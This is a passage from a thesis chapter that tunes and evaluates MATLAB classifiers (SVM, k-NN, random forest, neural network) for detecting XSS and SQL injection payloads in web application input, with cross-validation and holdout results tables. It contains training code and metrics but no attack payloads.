4.3.3 k-Nearest Neighbours Classifier

K-NN is an algorithm which classifies new data according to which already-seen instance is nearest in terms of the feature space. This method can be used both for classification and regression [5]. k-NN aims to investigate the similarity between new input and instances of the training data by measuring the distance between new inputs and training instances [99]. k-NN classifies new data into the most common class found among its closest (in terms of the feature space) neighbours. Here, the method has been used to classify inputs data as being either malicious or benign - in order to detect XSS, SQL-i, and LDAP payloads. The reason for choosing k-NN is that it performs a test to check the degree of similarity between the new instances and the training data that to store an amount of classified data [99]. In this study, the model will classify instances of either malicious or benign, which are nearest to the training space. To classify the unknown instances, k-NN measures the distance between an unknown instance and the nearest training instance, where the classification is based upon the majority vote of neighbour.

The k-NN classifier was tuned by adjusting k, the number of neighbours examined for each classification. In order to find the best value for the "NumNeighbours"

parameter, the "OptimizeHyperparameters" function was applied; this optimisation performed using XSS training dataset, and the code for finding the best optimisation is as follows:

```
Mdl = fitcknn(ScTBL,ScResponseVarName,'OptimizeHyperparameters',...
'auto','HyperparameterOptimizationOptions',struct...
('AcquisitionFunctionName','expected-improvement-plus'));
```

The value returned by this auto optimisation of the "NumNeighbours" parameter was 1, where the criterion used was to achieve the lowest misclassification rate. That attained was a 0.0057 misclassification rate, and the reason for this rate is that some malicious payloads can be singletons, and a higher value for the "NumNeighbours" parameter led to higher misclassification rates. Table 4.2 shows the loss value (misclassification rate) of the k-NN classifier when "NumNeighbours" parameter changes. This is to ensure that the best value of the "NumNeighbours" parameter for the classifier is 1.

Parameter Value	Misclassification Rate
1	**0.0057**
2	0.0072
4	0.0073
8	0.0088
16	0.0102
32	0.0129

Table 4.2 Misclassification Rate of k-NN Classifier

Thus, k-NN was tuned by setting the NumNeighbours parameter to 1. It was built, employing the "fitcknn" function, as follows:

```
KNNModel = fitcknn (ScTBL,ScResponseVarName, 'NumNeighbours', 1);
```

On execution of the above code, a k-NN classifier was created for the purpose of classifying new data as either malicious or benign.

4.3.4 Random Forest Classifier

Random forest is a supervised classification algorithm that combines a number of tree-based predictors; each tree is built according to random values, which are independently sampled. Moreover, all the trees have the same distribution in the forest. In a random forest classifier, more trees lead to more accurate results [1], and such a classifier can be used both for classification and regression. Here, the random forest classifier was used to distinguish between XSS, SQL-i, and LDAP attacks and benign payloads. The random forest was chosen as the model for classifying payloads as either malicious or benign, due to its ability to handle binary, categorical, and numerical features. Moreover, the XSS dataset has a high dimension and the random forest can work with a subset of the features, so it is able to work with hundreds of features at once. In addition, the random forest handles outliers by essentially ignoring them. Also, random forest tries to minimise the overall error rate [100]. For these reasons, the random forest was chosen with the aim of achieving a high accuracy rate.

There are two parameters which are necessary to set to build a random forest classifier; these are the number of trees and the method. The method parameter was, in effect, optimised by setting its value to be "classification", and the number of trees parameter was tuned by setting it to an initial value, then calculating the misclassification yielded by a test run, then incrementing the value and testing again. The best, i.e., lowest, rate of misclassification achieved was then taken into account along with the taken time for model creation – in relation to the choice of this parameter's value. Table 4.3 shows the results yielded when various values of the parameter were applied.

Number of Trees	Misclassification Rate	Number of Trees	Misclassification Rate
10	0.0540	60	0.0137
20	0.0306	**70**	**0.0125**
30	0.0224	80	0.0116
40	0.0182	90	0.0108
50	0.0155	100	0.0102

Table 4.3 Number of Trees Optimisation

Table 4.3 shows that the misclassification rate decreases as the number of trees in the classifier increases. However, the random forest classifier was optimised by setting the number of trees only to 70. The reason for choosing this value 70 was that the decreases in misclassification were not large beyond this point, but the time taken to create the classifier did start to increase significantly. The "TreeBagger" function that is a built-in to MatLab was used to build the model, as follows:

```
RFModel = TreeBagger(70,ScTBL,ScResponseVarName,'Method',...
'classification');
```

On execution of the above code, the random forest classifier to be used to detect XSS attacks, and also SQL and LDAP injections, was created.

4.3.5 Neural Network Classifier

Neural networks (NN) are organized in layers. Layers consist of a set of interconnected nodes, each of which contains an activation function. The patterns are presented to the first layer (the input layer) which is connected to one or more of the hidden layers where the processing is done. The hidden layers are linked to the output layer, which is the layer that produces the result [65]. A neural network classifier has been used here to distinguish between malicious and benign payloads – in terms of attacks against web applications. The reason for choosing a neural network model is its ability to learn and model non-linear and complex relationships, as is the case in the XSS dataset. Additionally, neural networks have the ability to generalise – after learning from the initial inputs where they can infer unseen relationships on unseen data as well, which gives a high prediction result. Furthermore, neural network does not impose any restrictions on the input data, such as how it is distributed, due to its ability to learn hidden relationships even if the data is of high volatility and non-constant variance [119]. These reasons make the neural network classifier one of the classifiers chosen for classifying payloads, with the aim of achieving a high accuracy rate.

For this purpose, a Feed Forward Neural Network classifier with a single hidden layer was created via the adjustment of two parameters: the number of hidden neurons within the hidden layer and the training function parameter. The hidden neurons exist to formulate the output by applying a function (known as the activation function) on the inputs [142]. The purpose of the training function is to adjust the weight and bias values applied. In order to determine appropriate values for the above the parameters, the classifier's performance was evaluated using a loss function. The classifier performance was investigated by increasing the number of neurons within the hidden layer and testing with the various type of learning function available. Table 4.4 shows the results, in terms of misclassifications, for each training function and each value for the number of neurons in the hidden layer.

	1	2	5	10	20
trainlm	0.0078	0.0064	0.0025	0.0023	0.0023
trainbr	0.0066	0.0038	0.0024	**0.0010**	8.7814e-04
trainbfg	0.0569	0.0644	0.0263	0.0208	0.0195
trainrp	0.0513	0.0352	0.0311	0.0177	0.0137
trainscg	0.0450	0.0322	0.0244	0.0130	0.0122
traincgb	0.0509	0.0455	0.0609	.0243	0.0137
traincgf	0.0476	0.0516	0.0243	0.0187	0.0199
traincgp	0.0458	0.0477	0.0586	0.0111	0.0202
trainoss	0.5826	0.0455	0.0305	0.0177	0.0173
traingdx	0.0452	0.0407	0.0235	0.0158	0.3341
traingdm	0.0955	0.1279	0.0855	0.0710	0.3342
traingd	0.0938	0.0913	0.0854	0.0709	0.0730

Table 4.4 Optimising Neural Network Classifier

Looking at the values shown in this table, it could be seen that the optimal number of hidden neurons was 10; when 20 neurons were used it took a very much longer time to create the model. The train function was set to be "trainbr"; this function applies a Bayesian regularisation in order to minimize a combination of squared errors and weights. "trainbr" achieved the best results as compared to the other training functions available. The "patternnet" function, which is a MatLab built-in, was used to create the net on the basis of which the model was trained. Then, the

created network was used as the basis of a model trained by employing the "train" function as follows:

```
net = patternnet(10, 'trainbr');
NNModel = train(net,TBL2,ResponseVarName2);
```

As has been mentioned, the outputs of the neural network classifier are real values, but the classes are represented by using simply (0, 1). For this purpose, the rounding function "round" was used to convert the classifier output to (0, 1) values. Then, these values were used to distinguish between malicious or benign inputs to the classifiers which were to distinguish between XSS, SQL and LDAP injections.

4.4 Evaluation Methods

An evaluation of the models was performed in order to determine the effectiveness of differing classifiers in relation to verifying the hypothesis regarding the performance of these once they have been trained. The methods used to evaluate the models' performances were cross validation and holdout.

4.4.1 Cross Validation

Cross validation is a model evaluation method which involves dividing the training dataset into two parts; the first part is used to train the model and the other is used to test the model. The most common specific technique in this regard is k-fold cross validation whereby the training dataset is divided into k (in this case, five) subsets, (k-1) of these are used for training and the remaining (1) is used for testing; this latter process is repeated k times, and each time, a different subset is used for testing and the rest of the subsets (k-1) are used for training. Then, the average error is calculated for all the results relating to all the subsets [175]. In this work, Five-fold cross validation (k=5) has been used to evaluate the classifiers performance.

4.4.2 Holdout

Holdout evaluation is intended to provide an unbiased classifier performance evaluation via the testing of the model on data from that on which it has not been trained. The technique is based on the use of two datasets: the first is used to train the model, the second is used to test the model, and there are no overlaps between the two datasets [171].

4.4.3 Measurement Criteria

The classifiers' performance was measured and analysed, via the results obtained from the evaluation methods mentioned above, by using the confusion matrix technique as demonstrated in Table 4.5. This table provides a breakdown of both the correct and the incorrect classifications which occurred in relation to each class.

		Predicted Class	
		Class1	Class2
True Class	Class1	True Positive (TP)	False Positive (FP)
	Class2	False Negative (FN)	True Negative (TN)

Table 4.5 Confusion Matrix

Where:

(TP) indicates that the classifier has classified malicious payloads as malicious.

(FP) indicates that the classifier classified malicious payloads as benign.

(FN) indicates that the classifier classifies the benign payload as malicious.

(TN) indicates that the classifier classified benign payloads as benign.

It is worth noting that, this study aims to avoid increasing false alarms, as it is a disadvantage of using the machine learning approach. False positive is considered a false alarm in this study which is a threat to web application security. This means that the classifier has classified a malicious payload as a benign payload, which allows

the malicious payload to be stored in the web application database. This condition is a high risk for the web application. On the contrary, false negative, which a benign payload is classified as a malicious payload, this condition may cause an application to not work well, as the benign payload will be quarantined and not allowed to be stored in the web application database. This condition causes weaknesses in the operation of the application, but in terms of security, it is more secure and does not cause a threat to the web application.

The effectiveness measurement criteria as dependent on the accuracy rate, the precision (or detection rate), the sensitivity (true-positive rate), and the specificity (true- negative rate).

4.4.3.1 Accuracy

The ratio of data points correctly predicted in relation to the number of data points overall. More formally, this value is defined as the number of true-positives plus the number of true-negatives divided by the sum total of the data points. For example, the many of the classifiers applied here can be measured according to whether they classified malicious payloads as malicious and benign payloads as benign. The following equation shows how accuracy can be calculated [144].

$$Accuracy = \frac{TP + TN}{TP + TN + FP + FN}$$

4.4.3.2 Precision

Precision refers to a classifier's ability to classify correctly, and can be defined as the ratio of the number of true positives to the number of true positives plus the number of false positives. Thus, if there are only true positives, but no false positives, then the precision is 1 (or 100%). In equation from, the calculation is:[139].

$$Precision = \frac{TP}{TP + FP}$$

4.4.3.3 Sensitivity

This is also known as the True Positives Rate (TPR), and measures correct prediction – the number of instances which fall into the first category here (malicious), and are classified as such. This ratio measures the degree to which, in this case, malicious payloads are actually classified as malicious. To calculate this, first a confusion matrix is used to obtain the necessary information concerning true and false positives and negatives; Sensitivity can then be calculated by taking the number of true positives dividing this by the number of true positives plus the number of false negatives [51].

$$Sensitivity(TPR) = \frac{TP}{TP+FN}$$

4.4.3.4 Specificity

This is known as the True Negatives Rate (TNR); it measures correct prediction but falls into the second-class category. This ratio measures the degree to which a classifier classifies (for instance) benign payloads as a benign [220]. Specificity is calculated by taking the number of true negatives and dividing this by the number of false positives plus the number of true negatives.

$$Specificity(TNR) = \frac{TN}{TN+FP}$$

All of these criteria were applied here to the evaluation of the effectiveness of the classifiers, and the following section illustrates the results of this evaluation of the classifiers - using the cross validation and holdout methods.

4.5 Initial Results

This section will discuss the purpose of using the classifiers evaluated within this work. Furthermore, the initial results yielded by the classifiers will be reviewed in order to demonstrate the verification of the performance of the classifiers via the evaluation methods applied. The aim of this analysis of initial results was

to form the basis for a comparison with the results yielded by the approaches which were then used to increase the performance of the classifiers employed for distinguishing between malicious and benign payloads. The experiments will be performed on a single desktop computer (HP - EliteDesk) with the specifications listed in Table 4.5. All experiments will be conducted using MatLab 2018b, the reason for choosing this programming language is that the basic element used is the matrix, where it allows operations to be performed without the use of loops unlike other programming languages. In addition, one of the advantages of MatLab is that it includes functions such as an Excel link, which allows dealing with Excel files. Additionally, there are many classifiers built in MatLab such as Decision Trees, Logistic Regression, Discriminant Analysis, Nearest Neighbour, and Support Vector Machines. Furthermore, MatLab contains libraries that help in creating models and analyses such as Simulink, Compiler SDK, Report Generator, Statistics and Machine Learning Toolbox and Text Analytics Toolbox.

Processer	Intl(R) Core(TM) i5-4590s CPU @ 3.00Ghz, 3001 Mhz, 4Core(s), 4 Logical Processer
RAM	DDR3 4.00GB, 1600Mhz
Hard Disk	500 GB NTFS File System
GPU	Intl(R) HD Graphics 4600
OS	Windows 10 Pro 64-bit

Table 4.6 Computer Specifications

4.5.1 Text Classifier

Section 4.3.1 shows the construction of the decision tree classifier which was used for analysing the data input into the web application and classifying the instances according to whether they were normal text or payload. A text dataset was used to test the classifier, and Table 3.10 listed the features that were employed by the classifier. Table 4.7 presents the evaluation results obtained from the five-fold cross validation process; these showed that the classifier was able to distinguish between normal text and payloads with high-accuracy up to 99.96%. Four out of five folds of the models yielded a 100% accuracy while the other fold yielded 99.83%. The

confusion matrices provide the detail of the classification by listing the number of instances that have been correctly and incorrectly classified.

Fold No.	Accuracy	Precision	Sensitivity	Specificity	Confusion Matrix		
1st	100	100	100	100		Text	Payload
					Text	617	0
					Payload	0	583
2nd	100	100	100	100		Text	Payload
					Text	602	0
					Payload	0	597
3rd	100	100	100	100		Text	Payload
					Text	597	0
					Payload	0	603
4th	100	100	100	100		Text	Payload
					Text	603	0
					Payload	0	597
5th	99.83	99.82	99.82	99.83		Text	Payload
					Text	582	1
					Payload	1	616
Average	99.96	99.96	99.96	99.96			

Table 4.7 Text Classifier Cross Validation

Table 4.7 shows the confusion matrix; in the fifth fold there were two misclassifications: one text classified as payload and the other a payload classified as text. After investigating the training data subset used for this fold, it was found that the instance that was misclassified as a script had a greater than usual preponderance of numbers (digits) in addition to a greater than usual percentage of commas. The instance which was misclassified as a benign text was notable in that it did not contain a number of features which are very common in scripts, such as commas, mathematical operations, and quotation marks. The reason for the appearance of these misclassifications in the fifth fold is possibly a lack of examples of similar instances in the other (previous) training folds.

To conduct the holdout evaluation, the entire training dataset was used to train the classifier and then this was tested on the testing dataset.

Table 4.8 illustrates the evaluation results yielded by the use of the holdout method; the classifier achieved a very high accuracy rate in terms of distinguishing between normal text and payloads up to 99.96%. In contrast, there were only two cases of false positives. From the confusion matrix it can be observed that these

Accuracy	Precision	Sensitivity	Specificity	Confusion Matrix		
99.96	99.93	100	99.93		Text	Payload
				Text	2998	2
				Payload	0	3000

Table 4.8 Text Classifier Performance

two instances were in fact texts but were classified as payload. This, from a security perspective is not critical, and after checking the instances which were misclassified, it was found that they contained Arabic and Chinese characters, which in this context were incomprehensible. These unusual byte values were the reason these texts were considered as payloads.

4.5.2 Cross-Site Scripting Classifiers

A number of different classifiers were used to classify inputs according to whether they were XSS attacks or benign payloads. The XSS training dataset described in section 3.3.1 was used to conduct the cross validation evaluation, and the testing dataset was used for the evaluation of all of the classifiers using the holdout method. The following classifiers have been subject to evaluation here: Support Vector Machine, k-Nearest Neighbour, Random Forest, and Neural Network. The features that were used to train these classifiers so that they could then detect malicious XSS payloads include both non-alphanumeric and alphanumeric features – as listed are listed in the tables 3.6, 3.7, and 3.8. A total of 65 features were used to train the models.

4.5.2.1 Support Vector Machine - Linear Kernel Classifier

The classifier that was described in section 4.3.2 was utilized to distinguish between XSS payloads and benign payloads within input data. A support vector machine with a linear kernel was evaluated via the five-fold cross validation method and the holdout method. For the holdout evaluation, the classifier had been trained using the entire training dataset. Tables 4.9 and 4.10 present the evaluation results.

Fold No.	Accuracy	Precision	Sensitivity	Specificity	Confusion Matrix		
1st	98.82	97.23	98.45	98.96		Malicious	Benign
					Malicious	1018	29
					Benign	16	2762
2nd	98.77	96.64	98.82	98.75		Malicious	Benign
					Malicious	1008	35
					Benign	12	2770
3rd	99.00	97.39	98.92	99.03		Malicious	Benign
					Malicious	1009	27
					Benign	11	2778
4th	98.87	96.87	98.76	98.91		Malicious	Benign
					Malicious	961	31
					Benign	12	2821
5th	98.71	96.71	98.52	98.78		Malicious	Benign
					Malicious	1001	34
					Benign	15	2775
Average	98.83	96.97	98.69	98.89			

Table 4.9 XSS Support Vector Machine-Linear Cross Validation

Table 4.9 shows the five cross validation results. This classifier achieved an average accuracy 98.83% in the detection of malicious payloads and an average precision rate up to 96.97%. As can be seen from these results, the classifier was able to divide the space linearly into two sections, each one containing a class. From the confusion matrices derived from all the folds, it can be observed that there are a number of misclassifications in terms of distinguishing between the types of instances. From a security perspective, the focus is mostly on the occurrence of false positives which indicate that malicious instances have been classified as benign. Such misclassifications can lead to an attack against a web application being successful.

Accuracy	Precision	Sensitivity	Specificity	Confusion Matrix		
99.82	99.89	99.69	99.92		Malicious	Benign
				Malicious	9989	11
				Benign	31	14065

Table 4.10 XSS Support Vector Machine-Linear Kernel Classifier Performance

Table 4.10 shows the classifier performance when evaluated using the holdout method, in relation to the simulation of a real world attack. The classifier achieved accuracies 99.82% and a precision 99.89%, and it can be observed from the results increased accuracy and precision rates were yielded when the classifier was trained using the entire training dataset. This is due to the comprehensiveness of the training

dataset in terms of multiple types of XSS attacks - as some instances are unique. Moreover, from the confusion matrix it can be noted that the false positive number has improved (i.e., reduced) and is consequently less than was yielded by any fold in the cross validation evaluation.

4.5.2.2 Support Vector Machine - Polynomial Kernel Classifier

The classifier, the construction of which was shown in section 4.3.2, which utilized a polynomial kernel was employed to distinguish between malicious and benign instances. The classifier was trained and evaluated by applying five-fold cross validation with respect to the training dataset; in addition, the testing dataset was used for an evaluation employing the holdout method. The tables 4.11 and 4.12 present the results of these evaluations and details concerning the quality of the classifications are presented in that table in terms of confusion matrices.

Fold No.	Accuracy	Precision	Sensitivity	Specificity	Confusion Matrix		
1st	99.24	98.47	98.75	99.42		Malicious	Benign
					Malicious	1031	16
					Benign	13	2765
2nd	99.11	97.31	99.41	99.00		Malicious	Benign
					Malicious	1015	28
					Benign	6	2776
3rd	99.45	98.84	99.12	99.57		Malicious	Benign
					Malicious	1024	12
					Benign	9	2780
4th	98.98	97.78	98.27	99.22		Malicious	Benign
					Malicious	970	22
					Benign	17	2816
5th	99.32	98.93	98.55	99.60		Malicious	Benign
					Malicious	1024	11
					Benign	15	2775
Average	99.22	98.26	98.82	99.36			

Table 4.11 XSS Support Vector Machine-Polynomial Kernel Cross Validation

Table 4.11 illustrates the results of the five-fold cross validation of the support vector machine with a polynomial kernel; this achieved an average accuracy rate of 99.22% and an average precision rate of up to 98.26%. From the results it can be observed that the classifier was able to map inputs to the classes in the feature space in a very proficient manner, as most of the folds yielded accuracies of more than 99%.

Moreover, the confusion matrices show that the number of false positives across all the folds were low compared to the commensurate results yielded by the support vector machine with a linear kernel. This is because the polynomial algorithm can distinguish between the classes even when there is some noise in the training dataset.

Accuracy	Precision	Sensitivity	Specificity	Confusion Matrix		
					Malicious	Benign
99.57	99.16	99.80	99.40	Malicious	9916	84
				Benign	19	14077

Table 4.12 XSS Support Vector Machine-Polynomial Kernel Classifier Performance

Table 4.12 shows the holdout evaluation of this classifier; with respect to this, the classifier achieved accuracy rates 99.57% and precisions 99.16%. From the results it can be observed that the classifier has the ability to distinguish malicious instances from benign instances with great accuracy. Also, from the confusion matrix it can be seen that the classifier exhibits a weak classification of malicious instances since the false positive rate is high compared to that of the classifier with a linear kernel. Such a result could be considered to represent a risk to web applications. Furthermore, it may be noted that the accuracy of the classifier with a linear kernel can be characterized as better in relation to the fact that the focus is on obtaining the lowest possible number of false positives.

Misclassification can be seen in the holdout evaluation and this is significant because this evaluation mimics an attack against a web application. The holdout evaluation required that the instances which were incorrectly classified should be examined. It was noticed that some of the misclassifications occurred because the scripts involved were too short, containing only a message to be presented to the user, or because there were no explicit JavaScript commands within the payload. However, in addition, it was noted that some misclassifications occurred in relation to longer scripts that did not have a sufficient number of features. For example, a script which took a screen shot from the user's browser, was quite long and contained text that was not obfuscated, so when features were extracted from it, these were found to be similar to those of a normal text.

4.5.2.3 k-Nearest Neighbours Classifier

The classifier whose construction is shown in section 4.3.3 was used to determine between malicious and benign payloads and its performance with regard to this, evaluated. A five-fold cross validation was conducted in order to confirm the effectiveness of the classifier in relation to the training dataset. Table 4.13 shows the results of the five-fold cross validation and Table 4.14 shows the results of the holdout evaluation. The latter used the full training dataset to train the classifier and then the testing dataset to evaluate the classifier's subsequent performance.

Fold No.	Accuracy	Precision	Sensitivity	Specificity	Confusion Matrix		
1st	99.37	99.04	98.66	99.63		Malicious	Benign
					Malicious	1037	10
					Benign	14	2764
2nd	99.47	98.94	99.13	99.60		Malicious	Benign
					Malicious	1032	11
					Benign	9	2773
3rd	99.73	98.64	99.03	99.49		Malicious	Benign
					Malicious	1022	14
					Benign	10	2779
4th	99.39	99.29	98.40	99.75		Malicious	Benign
					Malicious	985	7
					Benign	16	2817
5th	99.42	99.03	98.84	99.64		Malicious	Benign
					Malicious	1025	10
					Benign	12	2778
Average	99.47	98.98	98.81	99.62			

Table 4.13 XSS k-Nearest Neighbours Cross Validation

Table 4.13 shows the results of the five-fold cross validation evaluation in relation to this classifier. As can be seen, it achieved an average accuracy 99.47% and an average precision 98.98%. This demonstrates the classifier's efficacy in terms of detecting malicious XSS payloads. Moreover, the confusion matrix shows that the number of malicious instances that are classified as benign is few compared to the commensurate number yielded by the support vector machine classifier.

Table 4.14 illustrates the results of testing the classifier's performance in relation to examples of real-world attacks. In fact, this classifier exhibited greater effectiveness than the previously discussed classifiers in terms of detecting malicious payloads. The k-NN classifier achieved accuracy rates of up to 99.90% and precision,

Accuracy	Precision	Sensitivity	Specificity	Confusion Matrix		
99.90	99.94	99.84	99.95		Malicious	Benign
				Malicious	9994	6
				Benign	16	14080

Table 4.14 XSS k-Nearest Neighbours Classifier Performance

or in other words detection, rates up to 99.94%. The confusion matrices show the classification details, and it should be noted that the number of false positives was lower when using the k-NN classifier. From a security perspective, this lower number of false positives is excellent as it means that almost all the malicious instances were correctly classified.

When looking at the instances that were misclassified it appeared that 5 instances were actually benign but mis-labelled (as malicious), but the last case was one which redirected the browser to another site which was likely to be under the control of the attacker – and so was a malicious script labelled as benign.

4.5.2.4 Random Forest Classifier

The construction of this classifier was shown in Section 4.3.4. It was applied to the problem of differentiating between malicious and benign payloads. Five-fold cross validation was used to evaluate this classifier. Table 4.15 lists the results yielded by each fold, as well as the average of the results across all the folds. Table 4.16 shows the result of the holdout evaluation.

Table 4.15 presents the results of the five-fold cross validation, and from this it can be seen that the random forest classifier achieved a 99.52% average accuracy rate and a 98.73% average precision rate. These results demonstrate the ability of the random forest classifier to distinguish between malicious and benign payloads with high rates of accuracy. From the confusion matrices representing all of the folds, it can be seen that there are a few instances of false positives, and in terms of security, this represents a potential risk to web applications.

Table 4.16 shows the performance of the classifier in relation to data simulating the occurrence of a real world attack, where the entire training dataset was used to

Fold No.	Accuracy	Precision	Sensitivity	Specificity	Confusion Matrix		
1st	99.45	98.75	99.23	99.53		Malicious	Benign
					Malicious	1034	13
					Benign	8	2770
2nd	99.60	98.94	99.61	99.60		Malicious	Benign
					Malicious	1032	11
					Benign	4	2778
3rd	99.50	97.74	99.41	99.53		Malicious	Benign
					Malicious	1023	13
					Benign	6	2783
4th	99.60	98.89	99.59	99.61		Malicious	Benign
					Malicious	981	11
					Benign	4	2829
5th	99.45	98.35	99.60	99.39		Malicious	Benign
					Malicious	1018	17
					Benign	4	2786
Average	99.52	98.73	99.49	99.53			

Table 4.15 XSS Random Forest Cross Validation

Accuracy	Precision	Sensitivity	Specificity	Confusion Matrix		
99.93	99.96	99.89	99.97		Malicious	Benign
				Malicious	9996	4
				Benign	11	14085

Table 4.16 XSS Random Forest Classifier Performance

train the classifier and the entire testing dataset was used to verify the classifier's performance. The classifier, once trained, achieved an accuracy rate 99.93% and a 99.96% precision rate. The random forest classifier achieved the best accuracy among all the classifiers and this may be put down to the fact that the method entails the use of a group of trees to classify instances and the result is then determined based on the classification made by the largest number of these trees.

The confusion matrix (from the holdout evaluation) details the nature of the classifications made, and in particular the number of misclassified instances. After examining the malicious instances that were classified as benign it could be seen that the instances were short and simply contained redirections to others sites using IP addresses.

4.5.2.5 Neural Network Classifier

The construction of the neural network classifier was shown in Section 4.3.5, and this was also evaluated in relation to its effectiveness in detecting XSS attacks. The five-fold cross validation method was used to evaluate the classifier, and Table 4.17 shows the results and the averages yielded by these folds. Table 4.18 presents the classifier's performance results, where the classifier was trained using full training dataset then tested using the testing dataset.

Fold No.	Accuracy	Precision	Sensitivity	Specificity	Confusion Matrix		
1st	99.37	98.91	98.71	99.60		Malicious	Benign
					Malicious	999	11
					Benign	13	2801
2nd	99.26	98.55	98.74	99.46		Malicious	Benign
					Malicious	1025	15
					Benign	13	2771
3rd	99.18	98.28	98.75	99.35		Malicious	Benign
					Malicious	1034	18
					Benign	13	2760
4th	99.42	98.91	98.91	99.60		Malicious	Benign
					Malicious	1006	11
					Benign	11	2797
5th	99.11	98.54	98.16	99.46		Malicious	Benign
					Malicious	1017	15
					Benign	19	2774
Average	99.26	98.63	98.65	99.49			

Table 4.17 XSS Neural Network Cross Validation

Table 4.17 shows the results of the five-fold cross validation evaluation with regard to this classifier; the classifier achieved average accuracy rates 99.26% and average precision rates 98.63%. This demonstrates the classifier's ability to classify payloads as either malicious or benign. It is noticeable from the confusion matrices that the number of false positive instances is small, and so in these terms the classifier classified the instances very well. From a security perspective, there remains a small risk that some attacks may be passed to the web application.

Table 4.18 presents the results yielded by evaluating this classifier using the holdout method; it achieved an accuracy rate of 99.86% and a precision rate of 99.90%. The confusion matrix shows that the misclassification instances were few

Accuracy	Precision	Sensitivity	Specificity	Confusion Matrix		
99.86	99.90	99.78	99.92		Malicious	Benign
				Malicious	9986	10
				Benign	22	14074

Table 4.18 XSS Neural Network Classifier Performance

compared to the total number of instances, which indicates the effectiveness of the classifier in detecting malicious payloads.

When reviewing the testing dataset to see which instances were incorrectly classified, it was noticed that the misclassification occurred because the scripts involved did not contain enough features and in addition they were relatively short. Most of these instances redirected to another site using an IP address.

4.5.2.6 Discussion

Though a similar study to this one has been published under the title "Detecting Cross-Site Scripting Attacks Using Machine Learning" [130]. There are differences between these two studies. The most important of these is that this study includes the neural network classifier which [130] did not. Furthermore, sixty-five features have been used in this study and [130] used only fifty-nine features. Similar methods were employed for extracting the features in both studies since all the features were represented as Boolean values. The results of the classifiers which are included in both studies - SVM with linear and polynomial kernels, k-NN, and RF - are better in this study than in [130].

This section represents the core of this thesis wherein classifiers were evaluated in relation to detecting XSS attacks against web applications - the focus of the thesis. By reviewing the results relating to the various classifiers performance, it can be observed that all the classifiers achieved good results in terms of identifying malicious payloads. In order to select the best classifier, several factors must be taken into account, the most important of which is the accuracy and precision because these measurements determine the effectiveness of the classifier. The Random Forest classifier achieved the best results among all classifiers with a 99.93% accuracy

and 99.96% precision. Moreover, the number of false positives was lower with this classifier than with all the others, and most of the misclassifications which it yielded were due to the length of the script.

The misclassifications returned by all the classifiers were found to be limited in terms that only a small number of factors seem to have caused them. First, some short scripts which were classified as benign were found to contain a redirection using an IP address – of an attack site. In addition, some long scripts were misclassification because they did not contain enough features (as far as the classifiers were concerned). And furthermore, some instances were incorrectly labelled in the testing dataset. Some suggestions for overcoming such misclassifications include the addition of new features, such as the length of the script. Moreover, the testing dataset should be examined in order to make sure there are no incorrect labels.

4.5.3 SQL-i Classifiers

The datasets the collation of which were shown in Section 3.3.2 were used to train and evaluate the classifiers for this purpose. The same optimizations as were used for the task of distinguishing between XSS and benign payloads were applied to this task, discussed here, of distinguishing between SQL injections and benign payloads. The reason for using the same optimisations is that this study focuses on XSS attacks, but there is also a desire to investigate some types of injections in terms of discovering the effectiveness of the classifiers with regard to them. All the classifier types so far tested in this present study were employed also for this second task. The features that were used to train the classifiers are listed in Table 3.6; these include non-alphanumeric features in addition to the features listed in Table 3.9 which include most of the SQL command keywords that may be used in such attacks; the total number of features is 49. Evaluations of the classifiers will be conducted using both cross validation and holdout methods.

4.5.3.1 Support Vector Machine - Linear Kernel Classifier

The SVM classifier was created with a linear kernel and then trained to distinguish between SQL injections and benign payloads. It was evaluated using the five-fold cross validation method. Table 4.19 presents the evaluation results, and Table 4.20 shows the classifier performance measures.

Fold No.	Accuracy	Precision	Sensitivity	Specificity	Confusion Matrix		
1st	99.72	99.29	99.92	99.61		SQL-i	Benign
					SQL-i	1407	10
					Benign	1	2603
2nd	99.85	99.72	99.86	99.84		SQL-i	Benign
					SQL-i	1466	4
					Benign	2	2549
3rd	99.73	99.29	100	99.61		SQL-i	Benign
					SQL-i	1404	10
					Benign	0	2607
4th	99.85	99.59	100	99.76		SQL-i	Benign
					SQL-i	1459	6
					Benign	0	2556
5th	99.87	99.72	99.93	99.84		SQL-i	Benign
					SQL-i	1465	4
					Benign	1	2551
Average	99.81	99.52	99.94	99.73			

Table 4.19 SQL-i Support Vector Machine-Liner Kernel Cross Validation

Table 4.19 shows that the average accuracy rate is 99.81% with a 99.52% average precision rate. These results demonstrate the ability of the classifier to distinguish between SQL injection and other payloads with high accuracy. The confusion matrices show the number of instances correctly, and the number of instances incorrectly, classified. It can be seen that the number of false positive instances is higher than the number of false negatives. In terms of security this can be considered to represent a potential risk to web applications since SQL injections may be allowed to be passed.

Table 4.20 shows the results of the holdout validation with respect to this classifier which achieved a 99.77% accuracy rate, and a 99.36% precision rate. The number of instances that were classified is shown in the confusion matrix; this demonstrates that the number of misclassifications was high. In terms of security, these results were

Accuracy	Precision	Sensitivity	Specificity	Confusion Matrix		
99.77	99.36	100	99.64		SQL-i	Benign
				SQL-i	3594	23
				Benign	0	6433

Table 4.20 SQL-i Support Vector Machine-Liner Kernel Classifier Performance

totally unacceptable as the classifier allowed the passage of SQL injections - even though the number of these was small compared to the total number of malicious instances. After reviewing the misclassified instances, it was noted that they were all very short and did not contain a sufficient number of features (to trigger correct classification) - especially non-alphanumeric features.

4.5.3.2 Support Vector Machine - Polynomial Kernel Classifier

For the same purpose, an SVM classifier was created using a polynomial kernel. A five-fold cross validation method was then used to evaluate the classifier. Table 4.21 presents the results of this five-fold cross validation evaluation, and Table 4.22 shows the results of the holdout evaluation which was also applied.

Fold No.	Accuracy	Precision	Sensitivity	Specificity	Confusion Matrix		
1st	99.82	99.51	100	99.73		SQL-i	Benign
					SQL-i	1425	7
					Benign	0	2589
2nd	99.92	99.79	100	99.88		SQL-i	Benign
					SQL-i	1453	3
					Benign	0	2565
3rd	99.77	99.44	99.93	99.69		SQL-i	Benign
					SQL-i	1436	8
					Benign	1	2576
4th	99.70	99.38	99.79	99.64		SQL-i	Benign
					SQL-i	1454	9
					Benign	3	2555
5th	99.85	99.58	100	99.76		SQL-i	Benign
					SQL-i	1434	6
					Benign	0	2581
Average	99.81	99.54	99.94	99.74			

Table 4.21 SQL-i Support Vector Machine-Polynomial Kernel Cross Validation

Table 4.21 demonstrates that the classifier achieved an average accuracy rate of 99.81% and an average precision of 99.54%. Using a polynomial kernel, as can

easily be observed, yielded almost the same results as using a linear kernel in terms of precision rates. The confusion matrices show the number of instances of correct and incorrect classification returned in the course of the evaluation of the classifier. It can be noted from the confusion matrices that the number of false positives returned was greater than the number of false negatives; this would be a significant issue if the classifier were to be used to protect web applications.

